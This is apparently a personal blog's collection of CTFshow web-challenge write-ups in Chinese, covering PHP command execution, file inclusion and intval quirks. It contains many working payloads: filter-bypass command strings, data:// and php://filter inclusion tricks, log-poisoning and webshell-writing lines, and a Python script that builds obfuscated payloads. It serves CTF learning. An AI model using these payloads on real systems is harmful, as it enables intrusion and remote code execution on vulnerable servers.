Gentle_knife's Studio.

CTFSHOW 刷题汇总

Word count: 15.4kReading time: 71 min
2025/03/26
loading

WEB 入门

信息搜集

web1-17

爆破

web18-23

命令执行

web29(有没懂的知识)

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

eval 是 PHP 里的一个内置函数,它的作用是把字符串当作 PHP 代码来执行。
?c=system("cat f*");

背景知识

拿到题目,可以看到通过 eval 函数可以执行 php 代码或者系统命令,其中过滤了 flag。

$_GET[c]的意思是我们输入 c 参数; pregmatch 是正则匹配是否包含 flag,if(!preg_match("/flag/i", $c)),/i 忽略大小写,如果输入参数中不包含 flag 的大小写,则进入 if 判断内部。 还有/m 等参数表示多行匹配,具体可以参考这里:https://www.php.cn/php-weizijiaocheng-354831.html

eval($c);就是本题的漏洞点 ,这个之前的输入过滤太简单了。eval 内执行的是 php 代码,必须以分号结尾。eval 和其他函数的对比可以参考这里:https://blog.csdn.net/weixin_39934520/article/details/109231480

分别以如下方法尝试拿到 flag:

1、直接执行系统命令

?c=system("tac%20fla*"); 利用 tac 与 system 结合,拿到 flag

因为可以利用 system 来间接执行系统命令,如果 flag 不在当前目录,也可以利用?c=system("ls"); 来查看到底在哪里。

2、内敛执行 (反字节符)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
注意结尾的分号,注意写 writeup 时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用 echo 命令和 tac 相结合来实现。注意 flag 采用*绕过,\`反字节符,是键盘左上角与~在一起的那个。

#### 3、利用参数输入+eval

`?c=eval($_GET[1]);&1=phpinfo();`
试一下,没问题,可以看到 phpinfo 的信息。 然后就使用`?c=eval($_GET[1]);&1=system(ls);`看一下当前目录都有什么,也可以`?c=eval($_GET[1]);&1=system("ls%20/");`看一下根目录都有什么。 注意上一行结尾的分号都不能省略。因为是以 php 代码形式来执行的,所以结尾必须有分号。此外查看根目录时,必须用引号包裹,不太清楚原因,目前觉得因为 system 的参数必须是 string。

#### 4、利用参数输入+include

这里的 eval 也可以换为 include,并且可以不用括号。但是仅仅可以用来读文件了。
`?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php`
(参考 y4tacker 师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)

也可以尝试写入木马 `file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27);` 访问 alb34t.php,然后就可以连马。

#### 5、利用 cp 命令将 flag 拷贝到别处

?c=system("cp%20fl*g.php%20a.txt%20");
然后浏览器访问 a.txt,读取即可。

### web30
```php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

?c=eval($_GET[1]);&1=system("tac fla*");

web31

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){

?c=eval($_GET[1]);&1=system("tac fla*");

web32

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33 (未复现)

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){

与前一关相比,貌似就多过滤了双引号号,所以上一关 payload 依然适用

php 中不需要括号的函数,如:
echo 123; print 123; die; include "/etc/passwd"; require "/etc/passwd"; include_once "/etc/passwd"; require_once "etc/passwd";
这里我们利用include构造 payload

url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

其中?>代替分号,页面会显示 flag.php 内容的 base64 编码,解码即可获取 flag

还有一种方法,日志注入
url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
/var/log/nginx/access.log 是 nginx 默认的 access 日志路径,访问该路径时,在 User-Agent 中写入一句话木马,然后用中国蚁剑连接即可

?c=include$_GET[1]?>&1=data://text/plain

web34(未复现)

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){

上面的 data 和 php 协议不能用了

web35

QQ20250510-091241

1
2
3
4
5
6
7
8
9
题目对常见命令都进行过滤, 但是仔细发现可以利用 include 进行绕过, 具体实现方式为 eval(include flag.php;); ,但是题目屏蔽了分号(;)和点号(.), 其中分号可以使用?>平替,但是点号无法绕过, 遂使用 post 执行 php 代码注入 flag.php, 因此可得 payload:

GET:?c=include$_GET[1]?>&1=php://input

POST:<?php system('tac flag.php');?>

需要注意,因为 POST 没有按照 key=value 封装数据, 因此 hackBar 认为数据有问题, 不会发送数据, 可以使用 Burp Suite 发送数据

补充: php://input 默认读取没有处理过的 POST 数据

web36

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){

QQ20250510-144822

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

1
2
3
4
5
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

从 eval 变成 include

单独的 ?c=data://text/plain 并没有任何实际执行或展示数据的功能,它只是表达了数据传递的方式,需要后续指定数据内容,比如 ?c=data://text/plain,Hello%20World 就是传递纯文本 “Hello World”。

?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

?c=data://text/plain,<?=system("tac fla*")?>

web38,39

web40(未)

1
2
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);

题解,查看当前工作目录 getcwd(),扫描当前目录及文件”scandir()”输出 为数组,flag.php 在倒数第二个个位置那就数组倒置 array_revers(),变为正数第二,在使用 next()函数指向从第一个指向第二个(及指向 flag.php),最后使用 show_source()查看文件的内容 ?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));

url+?c=print_r(getcwd()); ===> /var/www/html

url+?c=print_r(scandir(getcwd())); ===> Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

url+?c=print_r(array_reverse(scandir(getcwd()))); ==> Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . )

url+?c=print_r(next(array_reverse(scandir(getcwd())))); ==> flag.php

url+?c=print_r(show_source(next(array_reverse(scandir(getcwd()))))); ==> $flag=”ctfshow{eca2e7df-d196-4b71-9632-ad4d32e194d3}”;

法一

c=eval(array_pop(next(get_defined_vars())));//需要 POST 传入参数为 1=system(‘tac fl*’);

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如 GET、POST、FILE 等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

法二

c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd() 函数返回当前工作目录。它可以代替 pos(localeconv())

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”.”

pos():输出数组第一个元素,不改变指针;

current() 函数返回数组中的当前元素(单元),默认取第一个值,和 pos()一样

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为”.”所以遍历当前目录

array_reverse():数组逆置

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source():查看源码

pos() 函数返回数组中的当前元素的值。该函数是 current()函数的别名。

每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。

相关的方法:

current()返回数组中的当前元素的值。

end()将内部指针指向数组中的最后一个元素,并输出。

next()将内部指针指向数组中的下一个元素,并输出。

prev()将内部指针指向数组中的上一个元素,并输出。

reset()将内部指针指向数组中的第一个元素,并输出。

each()返回当前元素的键名和键值,并将内部指针向前移动。

我来解释这个 payload:?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”); //get_defined_vars()用于以数组的形式返回所有已定义的变量值(包括 URL 屁股后面接的 pay),这里源码只定义了一个变量即 c,加上你引入的 pay 就两个变量值了。reset 用于将指向返回变量数组的指针指向第一个变量即 c,next 向前移动一位指针即 pay,eval 执行返回的值就是咱们定义的恶意代码。我这边去掉 system()函数前的分号了,也能出结果。

web41(未)

1
2
3
4
5
6
7
8
9
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

未过滤【或 | 】运算符
可以使用两个不在正则匹配范围内的非字母非数字的字符进行或运算,从而得到我们想要的字符串

首先进行代码审计:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

题目首先接收一个POST请求中名为’c’的参数,然后进行过滤,若未被过滤则执行 eval(“echo($c);”);

1
对于'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'

该正则表达式的含义是:它会匹配任意一个数字字符、小写字母、”^”、”+”、”~”、”$”、”[“、”]”、”{“、”}”、”&” 或 “-“,并且在匹配时忽略大小写。可以说过滤了大部分绕过方式,但是还剩下”|”没有过滤。所以这道题的目的就是要我们使用 ascii 码为 0-255 中没有被过滤的字符进行或运算,从而得到被绕过的字符。

思路如下:

  • 首先对 ascii 从 0-255 所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
  • 跟据题目要求,构造 payload 的原型,并将原型替换为或运算的结果
  • 使用 POST 请求发送 c,获取 flag

羽师傅先把或运算的结果放进 txt,然后查表构造 payload,用了两个脚本,这里给一个一体化的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])


def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload


URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

直接输入题目的 URL 就完事

web42

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
  1. >/dev/null 2>&1
    关键部分,这是一个 Shell 命令输出重定向技巧:

    • >/dev/null:将标准输出(stdout)丢弃到空设备(不显示)。
    • 2>&1:将错误输出(stderr,文件描述符 2)重定向到标准输出(stdout,文件描述符 1),最终也被丢弃。

    效果:命令执行后的所有输出(包括错误信息)都被隐藏,攻击者无法直接看到命令执行结果。

假设你是一个餐厅老板(服务器),有两个 “传话筒”:

  1. 标准输出(stdout):正常的订单信息(文件列表、命令结果)
  2. 错误输出(stderr):厨房报错(文件不存在、权限拒绝)

正常情况
顾客(攻击者)点单(发送命令),你通过传话筒把结果喊回去(显示在网页上)。

但这段代码做了什么?

1
>/dev/null 2>&1

相当于你把两个传话筒都剪断了,接到了一个 “黑洞”(/dev/null):

  • >/dev/null:把正常订单信息直接扔进垃圾桶
  • 2>&1:把厨房报错也重定向到和正常信息一样的 “黑洞”

结果
顾客点了 “给我看菜单”(ls /etc/passwd),你确实去厨房查了菜单,但不管查到什么,都不会告诉顾客。顾客只能通过其他方式(比如观察餐厅灯光是否熄灭)猜测命令是否成功执行。

为什么攻击者喜欢这样?

  • 隐藏踪迹:管理员查看日志时,只看到命令被执行,但看不到结果,很难发现异常。
  • 偷偷做事:攻击者可以执行 “下载病毒”“修改文件” 等操作,服务器表面看起来一切正常。

生活类比

想象你家有个保姆,你允许她用微波炉热饭(执行命令),但她偷偷用微波炉烤手机(恶意操作),还把声音关掉(>/dev/null),甚至把冒烟的警报器也拔掉(2>&1),你完全不知道她在干什么。

永远不要让陌生人直接控制保姆!
正确做法是:

  1. 给保姆一个菜单(白名单),只允许她做菜单上的菜(预定义命令)
  2. 你亲自监督她做菜(验证用户输入)
  3. 保留监控录像(记录所有操作)

命令只是将错误输出重定向到了标准输出,并没有重定向标准输出,所以可以将错误输出重定向至/dev/null ?c=cat flag.php &2

1
/?c=tac flag.php;ls

gsfdgdfg

web43

1
2
3
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
1
?c=tac flag.php||ls

web44

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
?c=tac fla*.php||ls

服务器会重定向到 index.php,所以写入其他文件无法查看,直接修改 index.php 输出 flag。

tee 命令不仅会将输入内容写入文件,还会将其输出到标准输出

所以构造 playload:

c=echo “” | tee index.php

再访问 index.php 就是 flag.php 的内容


无回显方式查看 flag 既然跟前面几个一样,这次只不过加了过滤 flag, 可以通过 cp 命令将 flag.php 的内容 cp 成 txt 格式的,?c = cp fla?.php 3.txt 后面直接访问 3.txt 就可以直接看到 flag

web46

1
2
3
if(! preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $ c)){
system($c." >/dev/null 2 >&1 ");

关键是通配符

几种绕过空格的方式 {cat, flag.txt} cat ${IFS}flag.txt cat$ IFS$9flag.txt cat < flag.txt//这俩 <> 貌似没啥用 cat <> flag.txt

cat%0afla?.php cat%09fla?.php 这俩的区别是后者用于语句中间,前者可以用来做末尾的截断

对于 “<”和”<>” 的代替空格方式,要队 “<”和”<>” url 编码,防止数据传输出现问题

?c = tac < fla%27%27g.php||

?c = tac%09fla?.php||

?c = ca\t < fl\ag.php||

?c = tac%09fla?.php%0Als

?c = tail%09fl’’ag.php||ls

?c = nl%09fl??.php%0a

?c = tac%09 which%09ls%0a

web47

就是不屏蔽 tac


if(!preg_match(“/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail/i”, $c)){
system($c.” >/dev/null 2>&1”);

1
2
3
4
5

### web48



if(!preg_match(“/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`/i”, $c)){
system($c.” >/dev/null 2>&1”);

1
2
3
4
5
6
7
8
9
10

> 还是使用前面两题的 payload ?c=nl%09fl??.php%0a nl 这是 Linux/Unix 命令 "number lines" 功能类似于 cat,但会在每行前面添加行号 用来替代被过滤的 cat 命令 %09 这是 ASCII 码表中制表符(Tab)的 URL 编码 十六进制值为 09,对应 Tab 字符 在命令行中,Tab 可以像空格一样分隔命令和参数 用来替代被过滤的空格字符 fl?? fl 是文件名的前两个字母,通常指 "flag" 每个 ? 是通配符,匹配任意单个字符 两个 ? 可以匹配 "ag",组合起来就是 "flag" 这样绕过了对 "flag" 字符串的过滤 .php 文件扩展名,表示这是一个 PHP 文件 与前面的 fl?? 组合,可以匹配 "flag.php" 文件 %0a 这是换行符(LF)的 URL 编码 十六进制值为 0A,对应换行符 在命令执行时,会将后面的内容放到新的一行 使得 >/dev/null 2>&1 重定向变成单独的一行 这样 nl 命令的输出就不会被重定向到 /dev/null



### web49

​```php
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
1
?c=tac<fla%27%27g.php||ls

web50

1
2
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
1
?c=ta\c<fla%27%27g.php||ls

web51

1
2
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
1
?c=t\ac<fla%27%27g.php||ls

web52

1
2
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
1
2
3
?c=ca\t${IFS}/fla?||ls
?c=nl${IFS}/fla''g%0a
?c=t\ac${IFS}fla%27%27g.php||ls

web53

1
2
3
4
5
6
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';

system()的特殊之处在于它在 “返回值用于赋值” 的同时,还会 “执行命令并输出结果”,这是由函数设计决定的,与赋值操作本身无关。

  echo($c);
    $d = system($c);
    echo "<br>".$d;


​ 这三行里面有很多废话,实际上就等于 system($c);
​ 所以直接把上面的 payload 删掉||和后面的内容就好了
​ ?c=ca’’t${IFS}fla’’g.php

web54

1
2
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
1
2
3
解法一: 使用使用 mv 命令把 flag 文件重命名,再使用 uniq 查看 a.txt(如果第二步看不到,请右键查看文件源代码) 第一步:c= mv${IFS}fla?.php${IFS}a.txt
第二步:c=uniq${IFS}a.txt 解法二: c=uniq${IFS}f???.php

web55

1
2
3
4
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);

由于过滤了字母,但没有过滤数字,我们尝试使用/bin 目录下的可执行程序。

但因为字母不能传入,我们需要使用通配符?来进行代替

?c=/bin/base64 flag.php

替换后变成

?c=/???/????64 ????.???

bash 无字母命令执行

使用

1
$'\154\163'

会执行ls

故 payload 是

1

/?c=$’\143\141\164’%20*

1
2
八进制序列解码后分别为 tac 和 flag.php。

web56

1
2
3
4
5
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);

php 上传的文件会临时放在/tmp 目录下

文件包含

web78

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

直接让 file=flag.php 是没用的,因为他是一个 php 文件,包含到当前页面会被当成 php 源吗解析,那么他的 flag 是定义的属性,又不会给你打印出来,相当于执行了<?php $flag=xxxx,这里又不会给你打印,所以你需要用 filter 协议,以 base64 的格式去读取,或者用 data 协议去命令执行。

1
?file=php://filter/convert.base64-encode/resource=flag.php

关键部分为 include 这里的$file 可由 get 传参控制,由于没有过滤所以这里方法较多。

使用 data 协议可以很直观有条理的获得 flag

?file=data://text/plain,<?php system('ls');?> 可以获取当前目录文件发现有一个 flag.php

?file=data://text/plain,<?php system('tac flag.php');?> 即可读取 flag.php 的中的内容。

web79

1
2
3
4
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);

尝试使用短标签无果:

1
?file=data://text/plain,<? system('whoami');?>

结果 wp 跟我说这样就行了:

1
?file=data://text/plain,<?= system('whoami');?>

<?= 以代替 <? echo

1
?file=data://text/plain,<?= system('tac flag.***');?>

法一:input 协议 大小写绕过

1
2
3
4
5
6
7
8
9
10
11
payload: 

POST /?file=Php://input HTTP/1.1

<?Php system("ls");?>

POST /?file=Php://input HTTP/1.1

<?Php system("cat flag.php");?>

# 仅需在请求行 大写即可

法二: data 协议 + 利用 php 性质绕过

1
2
3
4
5
6
7
payload:

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== # <?php phpinfo();


?file=data://text/plain,<?= `tac f*`;?>
?file=data://text/plain,<?Php echo `tac f*`;?> # 可以无 ;

<?php ?> :php 默认的开始、结束标签 <? ?> :需要开启 short_open_tag ,即 short_open_tag = On。 <%%> :需要开启 asp_tags ,即 asp_tags = On。 <?= ?> :用于输出,等同于- 可以直接使用 <%= %> :用于输出,等同于- ,需要开启 asp_tags ,才可以使用 short_open_tag 控制的是<? ?>标签。而并非<?= ?>标签,<?= ?>标签用于输出变量。当开启 short_open_tag,<? ?> 功能和<?php ?> 一样。 php中代码开始标志类型(,,,<% %>,<%= %>)

法三:data 协议 base64 加密

1
2
3
4
payload:
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== # <?php system('ls');

/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= # <?php system('cat flag.php');

// 包含日志文件

// bp 拦截请求 修改 UA 为

?file=/var/log/nginx/access.log&1=system(“tac fl0g.php”);

web80

​```php
if(isset($_GET[‘file’])){
$file = $_GET[‘file’];
$file = str_replace(“php”, “???”, $file);
$file = str_replace(“data”, “???”, $file);
include($file);
}else{
highlight_file(FILE);
}

1

POST /?file=Php://input HTTP/1.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

(需要先 ls)

### web81

```php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

直接把伪协议禁了,抄一下上面日志注入的方法。

// 在响应头中可以看到服务器为 nginx

// 包含 nginx 访问日志记录

1
GET /?file=/var/log/nginx/access.log&1=system("tac%20fl0g.php"); 

image-20250702183321642](../../AppData/Roaming/Typora/typora-user-images/image-20250702183321642.png

web82

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

web87

​```php
if(isset($_GET[‘file’])){
$file = $_GET[‘file’];
$content = $_POST[‘content’];
$file = str_replace(“php”, “???”, $file);
$file = str_replace(“data”, “???”, $file);
$file = str_replace(“:”, “???”, $file);
$file = str_replace(“.”, “???”, $file);
file_put_contents(urldecode($file), ““.$content);
}

1
2
3
4
5



```php+HTML
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

这句话的意思是,将 die+$content,放入 url 解码后的$file 中。

思路:

$content 是任意可控的,但是前面是 die,所以要让 die die。

怎么让 die die 呢?因为 die 和$content 是一起读取的,所以我们让$file 用 base64 解码的方式写入,也就是说,先对 die 和$content 进行 base64 解码,再写入。那么我们把我们想要写入的命令先 base64 编码,就会无损。而 base64 解码只会注意 phpdie 这六个字符,所以 die 就没办法发挥作用了。

但是这里还有一个问题,因为 base64 是四个为单位,所以读取的时候会拉上后面两个字符。所以我们需要传入的 content 是“两个字符长度的垃圾数据”+“base64 编码的关键命令”

1
aaPD9waHAgc3lzdGVtKCdscycpOw==

还有一个要绕过的过滤,是$file,但是很简单,他是先替换再解码,我们在替换的时候把指定字符藏起来不就好了?

当我们编码一次,浏览器不会帮我编码,于是服务器解码一次就发现了要过滤的字符。

当我们编码两次,那么服务器自己解码一次,获得的是我们编码一次的 URL 编码,没有要替换的字符,在最后的 url 解码部分才成为纯净的你原来想写入的代码。

注意看,传过去的 file 参数经过了 urldecode() 函数解码。所以 file 参数的内容要经过 url 编码再传递。同时网络传递时会对 url 编码的内容解一次码,所以需要对内容进行两次 url 编码。

另外,需要绕过 die() 函数。

根据文章 谈一谈php://filter的妙用 ,可以有以下思路:

  • base64 编码范围是 0 ~ 9,a ~ z,A ~ Z,+,/ ,所以除了这些字符,其他字符都会被忽略。
  • 所以对于 <?php die('大佬别秀了');?> ,base64 编解码过滤之后就只有 phpdie 6 个字符了,即可进行绕过。
  • 前面的 file 参数用 php://filter/write=convert.base64-encode 来解码写入,这样文件的 die() 就会被 base64 过滤,这样 die() 函数就绕过了。
  • 后面再拼接 base64 编码后的一句话木马或者 php 代码,被解码后刚好可以执行。
  • 由于 base64 是 4 个一组,而 phpdie 只有六个,所以要加两个字母凑足 base64 的格式。

这题传参时,file 用 get 方法,content 用 post 方法。

web88

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);

虽然我很想用条件竞争,但是条件竞争的题目在前面来着…

被过滤的字符有:

1
php ~ ! @ # $ % ^ & * ( ) - _ + = .

拦住 . → 那就别用路径穿越

拦住 php → 不用 php://

没拦 data: → 尝试 data://

拦住 = → 尝试删掉结尾 =

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg

📌 一、常见绕过技巧的【字符依赖表】

技术 / Payload 用法 依赖字符(被过滤就不能用) 可用情况说明
php://input php:/ 伪协议输入
data://text/plain;base64,... data:/、(建议有 = base64 执行
file://path/to/file :/. 本地文件包含
../../etc/passwd ./ 路径穿越
phpinfo() ()phpinfo 打探信息
eval($_GET[x]) $() 任意执行
system("ls") ()"system 命令执行
Base64 payload =(可以省略) = 是可选填充
Log 包含 (/var/log/apache2/...) /. 利用日志注入
Session 包含 (/var/lib/php/sess_) /. 利用 session 注入
包含远程文件 (http://...) :/.http URL 包含(前提是 allow_url_include = On)

🌲 二、文件包含漏洞的【利用策略树】

这棵树你可以记成一个“先判断,再选择策略”的流程:

txt复制编辑看见 include、require → 判断是否用户可控

├── 是 → 看是否有过滤(preg_match)?

├── 没有过滤任何字符
│ └── ✅ 使用 php://input 直接包含 POST 的恶意代码

├── 过滤了 php:// 或 php
│ └── ✅ 尝试 data:// 协议(编码后的 payload)

├── 过滤了 ./
│ └── ❌ 无法使用路径穿越、log/session包含

├── 过滤了 =
│ └── ⚠️ base64 编码 payload 去掉 = 测试是否仍可解码

├── 没过滤 :data
│ └── ✅ 试试 data://text/plain;base64,PD9...

├── 能访问日志、session 文件
│ └── ✅ 尝试日志注入、session 注入包含

└── 什么都不能用?
└── 😢 尝试构造可用字符绕过、混淆符号、目录软链接等

🔁 三、实战用法:快速判断法

拿到一道文件包含题,可以快速这么判断:

text复制编辑1. 看是否 include($xx) 或 require($xx) ✅
2. 看是否 GET 控参?(如 ?file=xxx) ✅
3. 看是否有过滤?(preg_match 或 replace) ✅
4. 把不能用的字符列出来 ❌
5. 和字符依赖表对照 ✅
6. 选最合适策略下 payload 🧠

PHP特性

web89

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1 。 故此传入?num[]=1,产生错误返回1。 并且preg_math()传入数组参数也会直接返回0

⚠️ 小拓展:关于 SQL 注入中的数组绕过

你提到的这段也很经典:

1
2
.php?id=1  →  正常执行  
.php?id[]=1 → 页面没变,可能是 id 被 intval 处理了

在 PHP 中:

1
2
3
$_GET['id'] => array(1)  // 当参数是 id[]=1 时

intval($_GET['id']) // 返回 1(带 Notice)

所以,如果后台开发者粗心地写了:

1
$id = intval($_GET['id']);

那么:

  • 本来想防注入(比如你加了引号 ‘1),也不会有影响,因为 intval('1') == 1intval('1\' or 1=1') == 1
  • 更糟的是,你传数组也能绕过去!

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

先看题目,要求get一个num,值不等于4476并且intval之后等于4476

👉 intval($num, 0) 是什么意思?

  • 这个用法会让 PHP 自动根据前缀判断进制
前缀 例子 含义
123 十进制
0x 0x117c 十六进制
0 07744 八进制(PHP8 不推荐)
0b 0b110 二进制

所以:

  • intval("0x117c", 0) = 十六进制 0x117c = 十进制 4476
  • intval("4476a", 0) = PHP 解析前面合法的部分,得到 4476
  • intval("4476.1", 0) = 转换成 4476

注意:

这些例子都是 字符串不等于 “4476”,但经过 intval() 后结果是 4476,所以能通过判断,输出 $flag

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
1
2
3
4
5
